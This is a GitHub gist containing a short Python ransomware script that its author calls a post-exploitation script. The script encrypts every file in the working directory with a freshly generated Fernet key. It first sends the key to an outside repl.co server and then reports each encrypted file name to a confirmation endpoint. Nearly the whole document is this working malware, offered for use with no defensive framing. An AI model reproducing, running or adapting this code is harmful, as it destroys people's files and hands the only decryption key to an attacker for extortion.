Skip to content

Instantly share code, notes, and snippets.

@furaar
Last active July 3, 2022 13:45
Show Gist options
  • Save furaar/72667f1c610c1e13689502374dceea9c to your computer and use it in GitHub Desktop.
Save furaar/72667f1c610c1e13689502374dceea9c to your computer and use it in GitHub Desktop.
Post Exploitation Script - Encrypts every file inside the working directory and uploads the encryption key to an express server straight from memory.
import os # accessing files
import requests # uploading secrets
from cryptography.fernet import Fernet # encrypting files
# setup an empty array for handling files
files = []
print('''
██▀███ ▄▄▄ ███▄ █ ██████ ▒█████ ███▄ ▄███▓
▓██ ▒ ██▒▒████▄ ██ ▀█ █ ▒██ ▒ ▒██▒ ██▒▓██▒▀█▀ ██▒
▓██ ░▄█ ▒▒██ ▀█▄ ▓██ ▀█ ██▒░ ▓██▄ ▒██░ ██▒▓██ ▓██░
▒██▀▀█▄ ░██▄▄▄▄██ ▓██▒ ▐▌██▒ ▒ ██▒▒██ ██░▒██ ▒██
░██▓ ▒██▒ ▓█ ▓██▒▒██░ ▓██░▒██████▒▒░ ████▓▒░▒██▒ ░██▒
░ ▒▓ ░▒▓░ ▒▒ ▓▒█░░ ▒░ ▒ ▒ ▒ ▒▓▒ ▒ ░░ ▒░▒░▒░ ░ ▒░ ░ ░
░▒ ░ ▒░ ▒ ▒▒ ░░ ░░ ░ ▒░░ ░▒ ░ ░ ░ ▒ ▒░ ░ ░ ░
░░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ░ ░ ░ ▒ ░ ░
░ ░ ░ ░ ░ ░ ░ ░
''')
for file in os.listdir():
if file == "encrypt.py" or file == "decrypt.py":
continue
if os.path.isfile(file):
files.append(file)
key = Fernet.generate_key()
# Upload
post = "https://Ransomeware.simerlol.repl.co/post"
confirm = "https://Ransomeware.simerlol.repl.co/confirm"
secret = {
'key': key
}
res = requests.post(post, data=secret).text
print(res)
for file in files:
with open(file, "rb") as thefile:
contents = thefile.read()
contents_encrypted = Fernet(key).encrypt(contents)
with open(file, "wb") as thefile:
thefile.write(contents_encrypted)
gg = requests.post(confirm, data={'file': os.path.basename(file) + " was encrypted" }).text
print(gg)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment